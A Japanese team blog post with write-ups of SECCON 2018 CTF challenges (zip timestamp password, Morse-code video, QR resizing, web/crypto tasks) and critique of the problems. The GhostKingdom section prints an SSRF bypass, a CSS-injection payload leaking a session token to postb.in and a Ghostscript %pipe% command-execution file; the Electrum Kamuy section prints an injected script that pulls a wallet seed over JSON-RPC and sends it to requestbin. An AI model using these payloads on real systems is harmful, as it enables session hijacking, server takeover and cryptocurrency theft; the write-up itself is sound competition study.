チームTSGとして出場しました。世界2位です。CBCTFといいSECCONといい最近TSGが凄い。

TSGとは?
東京大学のコンピューター系サークル (の1つ) です。東大生からの部員募集中。
チームメンバー
TSGお得意の人海戦術を駆使。本戦に弱いのもさもありなんといった感じである。
ちなみにlmt_swallowくんはチームdodododoに浮気したのでいません。
TSGの他メンバーのWriteup
このエントリでは僕がsubmitした問題と貢献度の大きい問題のwriteupを書きます。
Unzip (Forensics, 101pts)
初心者枠。5分47秒で通した。
$ cd unzip
$ ll
total 134K
drwxr-xr-x 1 denjj 197609 0 Oct 28 19:05 .
drwxr-xr-x 1 denjj 197609 0 Oct 28 18:56 ..
-rw-r--r-- 1 denjj 197609 225 Oct 27 00:10 flag.zip
-rw-r--r-- 1 denjj 197609 99 Oct 27 00:10 makefile.sh
$ cat makefile.sh
echo 'SECCON{'`cat key`'}' > flag.txt
zip -e --password=`perl -e "print time()"` flag.zip flag.txt
$ 7z l ../unzip.zip
7-Zip [64] 16.04 : Copyright (c) 1999-2016 Igor Pavlov : 2016-10-04
Scanning the drive for archives:
1 file, 627 bytes (1 KiB)
Listing archive: unzip.zip
--
Path = unzip.zip
Type = zip
Physical Size = 627
Date Time Attr Size Compressed Name
------------------- ----- ------------ ------------ ------------------------
2018-10-27 00:10:41 ..... 225 225 flag.zip
2018-10-27 00:10:06 ..... 99 86 makefile.sh
------------------- ----- ------------ ------------ ------------------------
2018-10-27 00:10:41 324 311 2 files
$ node
> new Date(' 2018-10-27 00:10:41')
2018-10-26T15:10:41.000Z
> new Date(' 2018-10-27 00:10:41').getTime()
1540566641000
flag.zipをパスワード「1540566641」で解凍して SECCON{We1c0me_2_SECCONCTF2o18}
GhostKingdom (Web, 248pts)

今大会唯一 (???) のWeb問。kcz146, liesegang と僕などで解いた。
"Take a screenshot" から任意のURLを入力し、ウェブページのスクリーンショットを取得することができる。
"Message to admin" のプレビューページからページ内に任意のCSSをインジェクトできる。storedではない。HTMLエスケープされているのでCSS以外をインジェクトすることはできない。
画像の通り "Upload image" はローカルからしかアクセスできない。
まず、このウェブサイトのログインはGETで実装されているので、Take a screenshot からログインさせることができる。
http://ghostkingdom.pwn.seccon.jp/?user=hogehoge&pass=fugafuga&action=login をキャプチャした様子

Upload image は依然としてアクセスできない。そこでホスト名をlocalhostなどにしてアクセスしてみると、フィルターで弾かれる。

kczのアイデアで、IPアドレスの長整数表現を用いることによって回避。http://2130706433/ は http://127.0.0.1/ と等価である。ちなみに (これもkcz146が) あとから気づいたが、127.0.0.1に解決されるようなドメインを立てても回避できる。
http://2130706433/?user=hogehoge&pass=fugafuga&action=login をキャプチャすると、Upload image がリンクになっていることが確認できる。

ここから Upload image のリンク先アドレスを知る (および、アクセス権を得る) ためにだいぶ悩んだが、しばらくして Message to admin のCSSインジェクションを用いる方法を思いついた。
Message to admin のプレビューページにはcsrfなるパラメーターが埋め込まれているが、これは実はCookieにストアされているセッションIDと同一の値である。つまり、Take a screenshot からここのvalueの値を取得することによって、ローカルでログインしたセッションのIDを取得することができ、(若干のエスパーがあるが) 全てのページにアクセスできることになる。

この手法はCSSインジェクションによる属性リークとして知られており、最近だとdodododoに浮気したlmt_swallowが書いた資料にわかりやすく解説されている。
今回のexploitでは、以下のようなCSSを投げつけることによって1文字ずつセッションIDを取得することができる。
input[name="csrf"][value^="e0"]{background:url(http://postb.in/b4RvhDMW?e0)} input[name="csrf"][value^="e1"]{background:url(http://postb.in/b4RvhDMW?e1)} input[name="csrf"][value^="e2"]{background:url(http://postb.in/b4RvhDMW?e2)} input[name="csrf"][value^="e3"]{background:url(http://postb.in/b4RvhDMW?e3)} input[name="csrf"][value^="e4"]{background:url(http://postb.in/b4RvhDMW?e4)} input[name="csrf"][value^="e5"]{background:url(http://postb.in/b4RvhDMW?e5)} input[name="csrf"][value^="e6"]{background:url(http://postb.in/b4RvhDMW?e6)} input[name="csrf"][value^="e7"]{background:url(http://postb.in/b4RvhDMW?e7)} input[name="csrf"][value^="e8"]{background:url(http://postb.in/b4RvhDMW?e8)} input[name="csrf"][value^="e9"]{background:url(http://postb.in/b4RvhDMW?e9)} input[name="csrf"][value^="ea"]{background:url(http://postb.in/b4RvhDMW?ea)} input[name="csrf"][value^="eb"]{background:url(http://postb.in/b4RvhDMW?eb)} input[name="csrf"][value^="ec"]{background:url(http://postb.in/b4RvhDMW?ec)} input[name="csrf"][value^="ed"]{background:url(http://postb.in/b4RvhDMW?ed)} input[name="csrf"][value^="ee"]{background:url(http://postb.in/b4RvhDMW?ee)} input[name="csrf"][value^="ef"]{background:url(http://postb.in/b4RvhDMW?ef)}
取得したセッションIDをCookieにセットしてアクセスすると、Upload image ページにアクセスすることができる。
アクセスした先のページでは、JPGをアップロードするとGIFに変換することができる。ファイルをアップロードしたときのエラーメッセージから、ImageMagickのconvertコマンドを使っていることが推測できた。
Error: /invalidaccess in --.putdeviceprops-- (省略) Current allocation mode is local Current file position is 514 GPL Ghostscript 9.07: Unrecoverable error, exit code 1 convert: Postscript delegate failed `/var/www/html/images/10c125762d9f1a2c442a41291fbddf3e.jpg': No such file or directory @ error/ps.c/ReadPSImage/832. convert: no images defined `/var/www/html/images/10c125762d9f1a2c442a41291fbddf3e.gif' @ error/convert.c/ConvertImageCommand/3046.
ImageMagickの変換コマンドでは、GhostScriptを用いることでサーバーで任意コマンドを実行することができる (1ヶ月前の Tokyo Westerns CTF でも出題されたばかり)。しかし今回は上の通りこの手法だとアクセスが弾かれてしまう。
しばらく悩んでいたところ、liesegangがGhostScriptの脆弱性を発見してくれた (実は上のWriteupからもリンクが引かれている)。
この脆弱性のexploitを見てみると、まさしくJPGからGIFに変換するときの攻撃例が示されていたので、ビンゴと確信。無事任意コマンド実行に繋げて、lsコマンドを発行してFLAGの場所を特定した。
最終的な攻撃コードは以下の通り。
$ cat temp.jpg
%!PS
userdict /setpagedevice undef
legal
{ null restore } stopped { pop } if
legal
mark /OutputFile (%pipe%ls /var/www/html/FLAG) currentdevice putdeviceprops
フラグのURL http://ghostkingdom.pwn.seccon.jp/FLAG/FLAGflagF1A8.txt が得られ、フラグは SECCON{CSSinjection+GhostScript/ImageMagickRCE}
Needle in a haystack (Media, 319pts)
SECCON2016の手旗信号の再来。
大坂の街を撮影した9時間の定点観測映像が与えられる。なんじゃこりゃ。
とりあえず問題名が Needle in a haystack ということで、膨大なフレームの中にフラグが記されたフレームが混じってるのではないかと推測し、異常検知の手法をいろいろと試すが成果は得られず。最終的に動画中の全てのキーフレーム約6000枚を抽出し、マンパワーで全てを確認した。
弊チームの Needle in Haystack のチャレンジ風景です #SECCON pic.twitter.com/QbiZqJyxmh
— 博多市 (@hakatashi) 2018年10月28日
が、異常なフレームは確認できず、行き詰まっていたところ、画面右下のビルの一室がやたらチカチカと明滅を繰り返していることに気づく。

一晩のうちに何十回も点灯と消灯を繰り返している。怪しい。
早送りして確認すると、明らかにモールス信号を発信している。そして途中で夜が明けると部屋の電気ではなくカーテンを開け閉めし始める。やばい。
daiが自動化で頑張ってくれたが、人間の手で復号化したほうが早かった。トランスクリプトは以下の通り。
... . -.-. -.-. --- -. -.--. ... --- -- . - .. -- . ... -....- .- -....- ... . -.-. .-. . - -....- -- ... ... . -.-. -.-. --- -. -.--. ... --- -- . - .. -- . ... -....- ... ... .- --. . -....- -... .-. --- .- -.. -.-. .- ... - ... -....- -.... --- .-.. -.. .-.. -.-- -.--.
復号すると以下のようになる。
SECCON(SOMETIMES-A-SECRET-MSSAGE-BROADCASTS-6OLDLY(
明らかに読み取りを間違えている部分を修正し、以下でaccept。
SECCON(SOMETIMES-A-SECRET-MESSAGE-BROADCASTS-BOLDLY)
QRChecker (QR, 222pts)
なーにがジャンル: QRじゃ~~
以下のソースコードで動くウェブサイトが与えられる。
#!/usr/bin/env python3 import sys, io, cgi, os from PIL import Image import zbarlight print("Content-Type: text/html") print("") codes = set() sizes = [500, 250, 100, 50] print('<html><body>') print('<form action="' + os.path.basename(__file__) + '" method="post" enctype="multipart/form-data">') print('<input type="file" name="uploadFile"/>') print('<input type="submit" value="submit"/>') print('</form>') print('<pre>') try: form = cgi.FieldStorage() data = form["uploadFile"].file.read(1024 * 256) image= Image.open(io.BytesIO(data)) for sz in sizes: image = image.resize((sz, sz)) result= zbarlight.scan_codes('qrcode', image) if result == None: break if 1 < len(result): break codes.add(result[0]) for c in sorted(list(codes)): print(c.decode()) if 1 < len(codes): print("SECCON{" + open("flag").read().rstrip() + "}") except: pass print('</pre>') print('</body></html>')
読むと、アップロードされた画像を順に 500px, 250px, 100px, 50px に縮小し、QRコードとして読み取って、前と異なるテキストとして読み取らせたらフラグが降ってくるという仕様のようである。1枚の画像に2つ以上のQRコードが検出されると読み取ってくれない。
Pillowの画像縮小の仕組みを利用し、以下のような画像を生成した。

真ん中のQRコードが「hoge」、ドットに分割されてる右下のQRコードが「fuga」である。無事accept。
SECCON{50d7bc7542b5837a7c5b94cf2446b848}
Electrum Kamuy (Crypto, 455pts)
Cryptoとはいったい⋯⋯? 明らかにWeb問である。
Electrum Kamuy なるウェブサイトが与えられる。「タトゥー」や「のっぺらぼう」など、明らかにゴールデンカムイが意識されているが本題とは関係ない。
「このウェブサイトに隠された24個のキーワード」を収集するとフラグが手に入るという触れ書き。ページのソースコードを見ると実際にいくつかのキーワードがコメントアウトで記されていることがわかる。bitcoinの文脈から、「24個のキーワード」というのはBitcoinの mnemonic words のことではないかと推測。
ここからウェブサイトをひたすら調査してキーワードがないか探したが、最初のいくつかのキーワード以外は全く見つからない。ウェブサイトはWordPressで構築されているが主要なページ以外はすべてアクセスが弾かれるため、exploitになりそうなところも全く見当たらない。これで8時間ほど時間を溶かした。
で、ウェブサイトの記述によると、このウェブサイトの所有者は「Electrumによるbitcoinウォレットを持っており」、「今年1月からソフトウェアのアップデートをしておらず」「持っているPCにパスワードをかけていない」ということが暗に示されている。ちなみにこの所有者のPCというのはウェブサイトのサーバーとは別のマシンである。
で、satosに相談したところ、2018年1月に公開されたElectrumの重大な脆弱性を見つけてくれた。この脆弱性は、Electrumのウォレットに「パスワード保護をしていない場合」、JSONRPC API が使い放題になるという途方もない脆弱性らしい。
これが想定解だと確信、その後ウェブサイトのフォームから </textarea> でHTMLをインジェクションできることを確認し、インジェクトしたURLを踏ませることによってサーバーからアクセスが飛んでくることを確認した。
が、このアドレスにアクセスしてもElectrumのAPIにはアクセスできない。ローカルから攻撃させる必要があることに思い至り、exploitコードをフォームから送信することにした。攻撃コードは以下の通り。
</textarea><script>
const post = async ({url, headers, body, timeout}) => {
return new Promise((resolve, reject) => {
const xhr = new XMLHttpRequest();
xhr.open('POST', url);
xhr.timeout = timeout;
xhr.onload = () => {
if (xhr.status >= 200 && xhr.status < 300) {
resolve(xhr.responseText);
} else {
reject({
status: xhr.status,
statusText: xhr.statusText
});
}
};
xhr.onerror = () => {
reject({
status: xhr.status,
statusText: xhr.statusText
});
};
xhr.ontimeout = () => {
reject({
status: xhr.status,
statusText: xhr.statusText
});
};
Object.keys(headers).forEach(key => {
xhr.setRequestHeader(key, headers[key]);
});
xhr.send(body);
});
};
post({
url: `http://localhost:51337`,
headers: {
'accept': 'application/json-rpc',
'content-type': 'application/json-rpc'
},
body: JSON.stringify({
id: 1,
method: 'getseed',
params: {}
}),
timeout: 1000
}).then((responseText) => {
fetch("http://requestbin.fullcontact.com/16fs9mg1/" + responseText)
});
</script><textarea>
ここから、Electrumのシード値が取得できる。
??? wealth bread squirrel sort urban paddle panic company material butter tilt city hobby seven sample caution ivory cup because piece crime mixture artwork
最初のキーワードが伏せられているが、問題の説明からシードのエントロピーの最初の数文字がわかっているので、2048通りを全探索することによって元のキーワードを復元できる。すでにmnemonicを解いていたlip_of_cygnusが一瞬で解いてくれた。
SECCON{2e36c3919822de3223e55efd8425f055}
総評
GhostKingdomは今大会では比較的良問だが、悪問要素も多い。
- スクリーンショットを撮るという行為にあまり必然性がない (Upload image がリンクになっていることが確認できる程度)
- セッションIDとcsrfトークンの一致に気づかないといけない
- セッションIDの挙動 (一度でもローカルからのアクセスがあるとフラグが立つ?) をエスパーしないといけない
- 問題の前半と後半に全く関連性がない
- GhostScript部分は公開されているexploitをそのまま流用すれば一瞬で解けてしまう
Needle in a haystack は、発想は面白いがやはり理不尽な気づきを要求されるという点が微妙 (手旗信号はそういう意味ではやることは自明だったので)。問題名のミスリーディングもやめてほしい。あとYouTubeから数GBもダウンロードしないといけないのは如何なるものか (せめてSECCONでホストしたほうがいいと思われる)。
QRChecker、ツッコミどころというほどのツッコミどころはない。発想が面白いし、回答に至るまでのプロセスが複数ありうるところも含めていい問題ではないかと思う。
Electrum Kamuy、誘導がやや不十分。「このサイトに隠された」というメッセージや無駄に複雑なウェブサイトによるミスリーディングが悪質。Cryptoとはいったい。
pwnやrevは良問が多かったらしい (専門外なので伝聞) が、それ以外はとても近年のCTF大会の平均的水準を満たしてるとは言い難い。ちなみにここでは解説しないが、tctlToyは特に近年稀に見るレベルの💩💩💩だった (daiさんがwriteupを書いてくれるはず)。
【追記】書いてくれました。